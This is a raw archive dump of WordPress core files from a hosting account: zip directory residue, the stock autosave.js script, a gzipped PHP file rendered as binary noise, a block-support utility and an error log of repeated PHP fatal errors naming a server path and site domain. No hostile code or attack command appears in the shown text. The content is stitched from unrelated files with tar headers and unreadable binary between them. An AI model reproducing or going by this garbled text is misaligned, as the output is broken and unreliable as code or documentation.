��G3classic-themes.cssnu�[���PK1Xd[X׶��4J3buttons.min.cssnu�[���PK1Xd[�͞��� b3wp-embed-template-ie.cssnu�[���PK1Xd[���f&f&-h3buttons.cssnu�[���PK1Xd[�%�o�N�NΎ3admin-bar-rtl.min.cssnu�[���PK1Xd[��b?!`!`��3admin-bar-rtl.cssnu�[���PK1Xd[/�=��>4jquery-ui-dialog.cssnu�[���PK1Xd[��0�	�	YU4wp-auth-check.cssnu�[���PK1Xd[����<_4wp-pointer-rtl.cssnu�[���PK1Xd[�@�_&&`o4jquery-ui-dialog-rtl.cssnu�[���PK1Xd[OB&�VVΆ4wp-auth-check.min.cssnu�[���PK1Xd[�0t��_�_
i�4admin-bar.cssnu�[���PK1Xd[J�̓����4buttons-rtl.min.cssnu�[���PK1Xd[�O�3�3�
�5editor.cssnu�[���PK1Xd[��}���5wp-pointer-rtl.min.cssnu�[���PK1Xd[6���&�&�5buttons-rtl.cssnu�[���PK1Xd[�P]����5wp-empty-template-alert.min.cssnu�[���PK1Xd[����XX��5wp-auth-check-rtl.min.cssnu�[���PK1Xd[�d�;;F�5customize-preview-rtl.min.cssnu�[���PK1Xd[�`@��	�	��5wp-auth-check-rtl.cssnu�[���PK1Xd[	��m�h�h��5editor.min.cssnu�[���PK1Xd[/S����B6wp-embed-template.min.cssnu�[���PK���7?^614338/autosave.js.tar000064400000057000151024420100010167 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/autosave.js000064400000053714151024226400024163 0ustar00/**
 * @output wp-includes/js/autosave.js
 */

/* global tinymce, wpCookies, autosaveL10n, switchEditors */
// Back-compat.
window.autosave = function() {
	return true;
};

/**
 * Adds autosave to the window object on dom ready.
 *
 * @since 3.9.0
 *
 * @param {jQuery} $ jQuery object.
 * @param {window} The window object.
 *
 */
( function( $, window ) {
	/**
	 * Auto saves the post.
	 *
	 * @since 3.9.0
	 *
	 * @return {Object}
	 * 	{{
	 * 		getPostData: getPostData,
	 * 		getCompareString: getCompareString,
	 * 		disableButtons: disableButtons,
	 * 		enableButtons: enableButtons,
	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
	 * 	}}
	 * 	The object with all functions for autosave.
	 */
	function autosave() {
		var initialCompareString,
			initialCompareData = {},
			lastTriggerSave    = 0,
			$document          = $( document );

		/**
		 * Sets the initial compare data.
		 *
		 * @since 5.6.1
		 */
		function setInitialCompare() {
			initialCompareData = {
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			initialCompareString = getCompareString( initialCompareData );
		}

		/**
		 * Returns the data saved in both local and remote autosave.
		 *
		 * @since 3.9.0
		 *
		 * @param {string} type The type of autosave either local or remote.
		 *
		 * @return {Object} Object containing the post data.
		 */
		function getPostData( type ) {
			var post_name, parent_id, data,
				time = ( new Date() ).getTime(),
				cats = [],
				editor = getEditor();

			// Don't run editor.save() more often than every 3 seconds.
			// It is resource intensive and might slow down typing in long posts on slow devices.
			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
				editor.save();
				lastTriggerSave = time;
			}

			data = {
				post_id: $( '#post_ID' ).val() || 0,
				post_type: $( '#post_type' ).val() || '',
				post_author: $( '#post_author' ).val() || '',
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			if ( type === 'local' ) {
				return data;
			}

			$( 'input[id^="in-category-"]:checked' ).each( function() {
				cats.push( this.value );
			});
			data.catslist = cats.join(',');

			if ( post_name = $( '#post_name' ).val() ) {
				data.post_name = post_name;
			}

			if ( parent_id = $( '#parent_id' ).val() ) {
				data.parent_id = parent_id;
			}

			if ( $( '#comment_status' ).prop( 'checked' ) ) {
				data.comment_status = 'open';
			}

			if ( $( '#ping_status' ).prop( 'checked' ) ) {
				data.ping_status = 'open';
			}

			if ( $( '#auto_draft' ).val() === '1' ) {
				data.auto_draft = '1';
			}

			return data;
		}

		/**
		 * Concatenates the title, content and excerpt. This is used to track changes
		 * when auto-saving.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} postData The object containing the post data.
		 *
		 * @return {string} A concatenated string with title, content and excerpt.
		 */
		function getCompareString( postData ) {
			if ( typeof postData === 'object' ) {
				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
			}

			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
		}

		/**
		 * Disables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function disableButtons() {
			$document.trigger('autosave-disable-buttons');

			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
			setTimeout( enableButtons, 5000 );
		}

		/**
		 * Enables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function enableButtons() {
			$document.trigger( 'autosave-enable-buttons' );
		}

		/**
		 * Gets the content editor.
		 *
		 * @since 4.6.0
		 *
		 * @return {boolean|*} Returns either false if the editor is undefined,
		 *                     or the instance of the content editor.
		 */
		function getEditor() {
			return typeof tinymce !== 'undefined' && tinymce.get('content');
		}

		/**
		 * Autosave in localStorage.
		 *
		 * @since 3.9.0
		 *
		 * @return {
		 * {
		 * 	hasStorage: *,
		 * 	getSavedPostData: getSavedPostData,
		 * 	save: save,
		 * 	suspend: suspend,
		 * 	resume: resume
		 * 	}
		 * }
		 * The object with all functions for local storage autosave.
		 */
		function autosaveLocal() {
			var blog_id, post_id, hasStorage, intervalTimer,
				lastCompareString,
				isSuspended = false;

			/**
			 * Checks if the browser supports sessionStorage and it's not disabled.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the sessionStorage is supported and enabled.
			 */
			function checkStorage() {
				var test = Math.random().toString(),
					result = false;

				try {
					window.sessionStorage.setItem( 'wp-test', test );
					result = window.sessionStorage.getItem( 'wp-test' ) === test;
					window.sessionStorage.removeItem( 'wp-test' );
				} catch(e) {}

				hasStorage = result;
				return result;
			}

			/**
			 * Initializes the local storage.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
			 *                          containing all postData for this blog.
			 */
			function getStorage() {
				var stored_obj = false;
				// Separate local storage containers for each blog_id.
				if ( hasStorage && blog_id ) {
					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );

					if ( stored_obj ) {
						stored_obj = JSON.parse( stored_obj );
					} else {
						stored_obj = {};
					}
				}

				return stored_obj;
			}

			/**
			 * Sets the storage for this blog. Confirms that the data was saved
			 * successfully.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
			 */
			function setStorage( stored_obj ) {
				var key;

				if ( hasStorage && blog_id ) {
					key = 'wp-autosave-' + blog_id;
					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
					return sessionStorage.getItem( key ) !== null;
				}

				return false;
			}

			/**
			 * Gets the saved post data for the current post.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
			 */
			function getSavedPostData() {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				return stored[ 'post_' + post_id ] || false;
			}

			/**
			 * Sets (save or delete) post data in the storage.
			 *
			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
			 *
			 * @return {boolean} True if data is stored, false if data was removed.
			 */
			function setData( stored_data ) {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				if ( stored_data ) {
					stored[ 'post_' + post_id ] = stored_data;
				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
					delete stored[ 'post_' + post_id ];
				} else {
					return false;
				}

				return setStorage( stored );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Saves post data for the current post.
			 *
			 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
			 * When the optional data is provided, updates the last saved post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
			 *
			 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
			 */
			function save( data ) {
				var postData, compareString,
					result = false;

				if ( isSuspended || ! hasStorage ) {
					return false;
				}

				if ( data ) {
					postData = getSavedPostData() || {};
					$.extend( postData, data );
				} else {
					postData = getPostData('local');
				}

				compareString = getCompareString( postData );

				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// If the content, title and excerpt did not change since the last save, don't save again.
				if ( compareString === lastCompareString ) {
					return false;
				}

				postData.save_time = ( new Date() ).getTime();
				postData.status = $( '#post_status' ).val() || '';
				result = setData( postData );

				if ( result ) {
					lastCompareString = compareString;
				}

				return result;
			}

			/**
			 * Initializes the auto save function.
			 *
			 * Checks whether the editor is active or not to use the editor events
			 * to autosave, or uses the values from the elements to autosave.
			 *
			 * Runs on DOM ready.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function run() {
				post_id = $('#post_ID').val() || 0;

				// Check if the local post data is different than the loaded post data.
				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {

					/*
					 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
					 * By this time the content has been loaded in the editor and 'saved' to the textarea.
					 * This prevents false positives.
					 */
					$document.on( 'tinymce-editor-init.autosave', function() {
						window.setTimeout( function() {
							checkPost();
						}, 1500 );
					});
				} else {
					checkPost();
				}

				// Save every 15 seconds.
				intervalTimer = window.setInterval( save, 15000 );

				$( 'form#post' ).on( 'submit.autosave-local', function() {
					var editor = getEditor(),
						post_id = $('#post_ID').val() || 0;

					if ( editor && ! editor.isHidden() ) {

						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
						editor.on( 'submit', function() {
							save({
								post_title: $( '#title' ).val() || '',
								content: $( '#content' ).val() || '',
								excerpt: $( '#excerpt' ).val() || ''
							});
						});
					} else {
						save({
							post_title: $( '#title' ).val() || '',
							content: $( '#content' ).val() || '',
							excerpt: $( '#excerpt' ).val() || ''
						});
					}

					var secure = ( 'https:' === window.location.protocol );
					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
				});
			}

			/**
			 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
			 *
			 * @since 3.9.0
			 *
			 * @param {string} str1 The first string.
			 * @param {string} str2 The second string.
			 * @return {boolean} True if the strings are the same.
			 */
			function compare( str1, str2 ) {
				function removeSpaces( string ) {
					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
				}

				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
			}

			/**
			 * Checks if the saved data for the current post (if any) is different than the
			 * loaded post data on the screen.
			 *
			 * Shows a standard message letting the user restore the post data if different.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function checkPost() {
				var content, post_title, excerpt, $notice,
					postData = getSavedPostData(),
					cookie = wpCookies.get( 'wp-saving-post' ),
					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
					$headerEnd = $( '.wp-header-end' );

				if ( cookie === post_id + '-saved' ) {
					wpCookies.remove( 'wp-saving-post' );
					// The post was saved properly, remove old data and bail.
					setData( false );
					return;
				}

				if ( ! postData ) {
					return;
				}

				content = $( '#content' ).val() || '';
				post_title = $( '#title' ).val() || '';
				excerpt = $( '#excerpt' ).val() || '';

				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
					compare( excerpt, postData.excerpt ) ) {

					return;
				}

				/*
				 * If '.wp-header-end' is found, append the notices after it otherwise
				 * after the first h1 or h2 heading found within the main content.
				 */
				if ( ! $headerEnd.length ) {
					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
				}

				$notice = $( '#local-storage-notice' )
					.insertAfter( $headerEnd )
					.addClass( 'notice-warning' );

				if ( $newerAutosaveNotice.length ) {

					// If there is a "server" autosave notice, hide it.
					// The data in the session storage is either the same or newer.
					$newerAutosaveNotice.slideUp( 150, function() {
						$notice.slideDown( 150 );
					});
				} else {
					$notice.slideDown( 200 );
				}

				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
					restorePost( postData );
					$notice.fadeTo( 250, 0, function() {
						$notice.slideUp( 150 );
					});
				});
			}

			/**
			 * Restores the current title, content and excerpt from postData.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} postData The object containing all post data.
			 *
			 * @return {boolean} True if the post is restored.
			 */
			function restorePost( postData ) {
				var editor;

				if ( postData ) {
					// Set the last saved data.
					lastCompareString = getCompareString( postData );

					if ( $( '#title' ).val() !== postData.post_title ) {
						$( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
					}

					$( '#excerpt' ).val( postData.excerpt || '' );
					editor = getEditor();

					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
						if ( editor.settings.wpautop && postData.content ) {
							postData.content = switchEditors.wpautop( postData.content );
						}

						// Make sure there's an undo level in the editor.
						editor.undoManager.transact( function() {
							editor.setContent( postData.content || '' );
							editor.nodeChanged();
						});
					} else {

						// Make sure the Code editor is selected.
						$( '#content-html' ).trigger( 'click' );
						$( '#content' ).trigger( 'focus' );

						// Using document.execCommand() will let the user undo.
						document.execCommand( 'selectAll' );
						document.execCommand( 'insertText', false, postData.content || '' );
					}

					return true;
				}

				return false;
			}

			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;

			/*
			 * Check if the browser supports sessionStorage and it's not disabled,
			 * then initialize and run checkPost().
			 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
			 */
			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
				$( run );
			}

			return {
				hasStorage: hasStorage,
				getSavedPostData: getSavedPostData,
				save: save,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Auto saves the post on the server.
		 *
		 * @since 3.9.0
		 *
		 * @return {Object} {
		 * 	{
		 * 		tempBlockSave: tempBlockSave,
		 * 		triggerSave: triggerSave,
		 * 		postChanged: postChanged,
		 * 		suspend: suspend,
		 * 		resume: resume
		 * 		}
		 * 	} The object all functions for autosave.
		 */
		function autosaveServer() {
			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
				nextRun = 0,
				isSuspended = false;


			/**
			 * Blocks saving for the next 10 seconds.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function tempBlockSave() {
				_blockSave = true;
				window.clearTimeout( _blockSaveTimer );

				_blockSaveTimer = window.setTimeout( function() {
					_blockSave = false;
				}, 10000 );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Triggers the autosave with the post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data.
			 *
			 * @return {void}
			 */
			function response( data ) {
				_schedule();
				_blockSave = false;
				lastCompareString = previousCompareString;
				previousCompareString = '';

				$document.trigger( 'after-autosave', [data] );
				enableButtons();

				if ( data.success ) {
					// No longer an auto-draft.
					$( '#auto_draft' ).val('');
				}
			}

			/**
			 * Saves immediately.
			 *
			 * Resets the timing and tells heartbeat to connect now.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function triggerSave() {
				nextRun = 0;
				wp.heartbeat.connectNow();
			}

			/**
			 * Checks if the post content in the textarea has changed since page load.
			 *
			 * This also happens when TinyMCE is active and editor.save() is triggered by
			 * wp.autosave.getPostData().
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the post has been changed.
			 */
			function postChanged() {
				var changed = false;

				// If there are TinyMCE instances, loop through them.
				if ( window.tinymce ) {
					window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
						var editor = window.tinymce.get( field );

						if ( ! editor || editor.isHidden() ) {
							if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
								changed = true;
								// Break.
								return false;
							}
						} else if ( editor.isDirty() ) {
							changed = true;
							return false;
						}
					} );

					if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
						changed = true;
					}

					return changed;
				}

				return getCompareString() !== initialCompareString;
			}

			/**
			 * Checks if the post can be saved or not.
			 *
			 * If the post hasn't changed or it cannot be updated,
			 * because the autosave is blocked or suspended, the function returns false.
			 *
			 * @since 3.9.0
			 *
			 * @return {Object} Returns the post data.
			 */
			function save() {
				var postData, compareString;

				// window.autosave() used for back-compat.
				if ( isSuspended || _blockSave || ! window.autosave() ) {
					return false;
				}

				if ( ( new Date() ).getTime() < nextRun ) {
					return false;
				}

				postData = getPostData();
				compareString = getCompareString( postData );

				// First check.
				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// No change.
				if ( compareString === lastCompareString ) {
					return false;
				}

				previousCompareString = compareString;
				tempBlockSave();
				disableButtons();

				$document.trigger( 'wpcountwords', [ postData.content ] )
					.trigger( 'before-autosave', [ postData ] );

				postData._wpnonce = $( '#_wpnonce' ).val() || '';

				return postData;
			}

			/**
			 * Sets the next run, based on the autosave interval.
			 *
			 * @private
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function _schedule() {
				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
			}

			/**
			 * Sets the autosaveData on the autosave heartbeat.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			$( function() {
				_schedule();
			}).on( 'heartbeat-send.autosave', function( event, data ) {
				var autosaveData = save();

				if ( autosaveData ) {
					data.wp_autosave = autosaveData;
				}

				/**
				 * Triggers the autosave of the post with the autosave data on the autosave
				 * heartbeat.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-tick.autosave', function( event, data ) {
				if ( data.wp_autosave ) {
					response( data.wp_autosave );
				}
				/**
				 * Disables buttons and throws a notice when the connection is lost.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {

				// When connection is lost, keep user from submitting changes.
				if ( 'timeout' === error || 603 === status ) {
					var $notice = $('#lost-connection-notice');

					if ( ! wp.autosave.local.hasStorage ) {
						$notice.find('.hide-if-no-sessionstorage').hide();
					}

					$notice.show();
					disableButtons();
				}

				/**
				 * Enables buttons when the connection is restored.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-restored.autosave', function() {
				$('#lost-connection-notice').hide();
				enableButtons();
			});

			return {
				tempBlockSave: tempBlockSave,
				triggerSave: triggerSave,
				postChanged: postChanged,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Sets the autosave time out.
		 *
		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
		 * then save to the textarea before setting initialCompareString.
		 * This avoids any insignificant differences between the initial textarea content and the content
		 * extracted from the editor.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		$( function() {
			// Set the initial compare string in case TinyMCE is not used or not loaded first.
			setInitialCompare();
		}).on( 'tinymce-editor-init.autosave', function( event, editor ) {
			// Reset the initialCompare data after the TinyMCE instances have been initialized.
			if ( 'content' === editor.id || 'excerpt' === editor.id ) {
				window.setTimeout( function() {
					editor.save();
					setInitialCompare();
				}, 1000 );
			}
		});

		return {
			getPostData: getPostData,
			getCompareString: getCompareString,
			disableButtons: disableButtons,
			enableButtons: enableButtons,
			local: autosaveLocal(),
			server: autosaveServer()
		};
	}

	/** @namespace wp */
	window.wp = window.wp || {};
	window.wp.autosave = autosave();

}( jQuery, window ));
14338/class-wp-http-response.php.php.tar.gz000064400000002063151024420100014261 0ustar00��W�n7���ST@dCZɲ⇤jk$(�q�ڨ�@�v�Z�\rKr������]�M�$@/(�k��33g.�#�A��^�����XL�O�9%��E��4%�e*���e<X%}&|�T|N��$2&�#N"��^%'���O6�0_�/��'��χ��hx1:G��r<����߰Rm�B�������LU{pvֆ3xsw7����������P��g��?��{��)�\gR�΋
��˰P(���7��A���J*�	��	��	Q�.�����&ҷ�8���kAb�O�L�2���v+�?�햵�B�RC<+��
#�`I��#
���J�9g>t���]�%U�&Q��70��NX,R�Ee�l`�zu�W�gT�����BL����W�:xMC�r"�ܫ��/x�9�.1L
½<�N�ˀV����T�	��!&I�@�Ĭs=��D�
ߪ�l�t]T��^���zҫOr��)�b�Z1�^S3������^��-a7�|�2dO<6�o�K����l�3b0#+f"0-{�X:5��շ$$bQۃ�sIxJ�������]he7B����a�@A���w}�V9�
����J��X��P:tm�	�TQx��e�T��s)�m4����ժK�#��,9�&@?2m,�#��E�-��{V�g�>{I�q�Y�=@��o�);�Y�j��'���,u7��}N�(Z��g��V{ʳ����7�g=x^]m_Z���ջ^J�5Mh���]��`f{(h>7Wv�^1�+�3v�r�˝,��N+�_���Š%s�h�3{�_��#�v���ھ�P���]��nZ�ȯ�;���ۺk�l�K����f����W�p�����
6#΋����1AR*5��Nc*L��{`=�+	�#�*Dר�eȑ\�O*W�q���%�T!"�PX�V��
$��H�q�l�zDD�q�}Q\�u�/��?xa����u��-̾~�¾a�'�w��P�������x��Z�ú���-Nd؟�biw�
��*��c���i=����]�514338/block-supports.tar000064400000730000151024420100010712 0ustar00utils.php000064400000001763151024204770006426 0ustar00<?php
/**
 * Block support utility functions.
 *
 * @package WordPress
 * @subpackage Block Supports
 * @since 6.0.0
 */

/**
 * Checks whether serialization of the current block's supported properties
 * should occur.
 *
 * @since 6.0.0
 * @access private
 *
 * @param WP_Block_Type $block_type  Block type.
 * @param string        $feature_set Name of block support feature set..
 * @param string        $feature     Optional name of individual feature to check.
 *
 * @return bool Whether to serialize block support styles & classes.
 */
function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) {
	if ( ! is_object( $block_type ) || ! $feature_set ) {
		return false;
	}

	$path               = array( $feature_set, '__experimentalSkipSerialization' );
	$skip_serialization = _wp_array_get( $block_type->supports, $path, false );

	if ( is_array( $skip_serialization ) ) {
		return in_array( $feature, $skip_serialization, true );
	}

	return $skip_serialization;
}
error_log000064400000264007151024204770006474 0ustar00[20-Aug-2025 10:21:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[21-Aug-2025 04:04:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[21-Aug-2025 06:53:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[21-Aug-2025 07:30:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[21-Aug-2025 07:31:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[21-Aug-2025 07:31:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[21-Aug-2025 07:31:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[21-Aug-2025 07:31:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[21-Aug-2025 07:31:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[21-Aug-2025 07:31:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[21-Aug-2025 07:32:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[21-Aug-2025 07:32:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[21-Aug-2025 07:32:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[21-Aug-2025 07:32:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[21-Aug-2025 07:32:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[21-Aug-2025 07:54:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[21-Aug-2025 07:54:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[22-Aug-2025 10:20:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[24-Aug-2025 00:14:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[24-Aug-2025 00:14:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[24-Aug-2025 00:14:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
